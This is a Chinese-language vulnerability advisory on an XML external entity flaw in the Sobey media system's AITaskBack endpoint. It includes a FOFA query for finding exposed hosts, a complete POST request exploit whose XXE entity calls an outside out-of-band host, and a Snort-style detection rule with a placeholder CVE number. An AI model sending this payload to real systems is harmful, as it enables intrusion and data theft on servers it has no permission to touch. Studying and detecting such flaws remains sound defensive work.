索贝融媒体系统 AITaskBack 存在XML外部实体注入漏洞¶

索贝融媒体系统 AITaskBack 存在XML外部实体注入漏洞，攻击者可进行注入攻击获取数据库信息或者权限。

影响版本¶

索贝融媒体系统

漏洞状态¶

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级¶

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现¶

FOFA：app="SOBEY-融媒体"

POC/EXP：

POST /sobey-mchEditor/js/%2e%2e/mch/AIInt/AITaskBack?contentid=1&token=&siteCode= HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "http://bxejloquoo.iyhc.eu.org">
]>
<root>
  <TextResult>&xxe;</TextResult>
</root>

sonrt规则：

alert http any any -> $HOME_NET any (
    msg:"Sobey Media System - XXE Injection via AITaskBack (CVE-2025-XXXXX)";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; pcre:"/\/sobey-mchEditor\/js\/%2e%2e\/mch\/AIInt\/AITaskBack/i";
    http.header; content:"Content-Type: application/xml";
    http.request_body; content:"<!ENTITY";
    pcre:"/<!ENTITY\s+\w+\s+SYSTEM\s+\"[^\"]+\.(eu\.org|dnslog\.cn)\"/i";
    metadata:
        cve CVE-2025-XXXXX,
        service http,
        affected_product "索贝融媒体系统",
        vulnerability_type "XML External Entity Injection",
        attack_target "internal_service",
        severity "high";
    reference:url,www.example.com/xxe-attacks;
    classtype:web-application-attack;
    sid:1000451;
    rev:1;
    priority:1;
)

漏洞修复¶

关闭互联网暴露面或接口设置访问权限

升级至安全版本。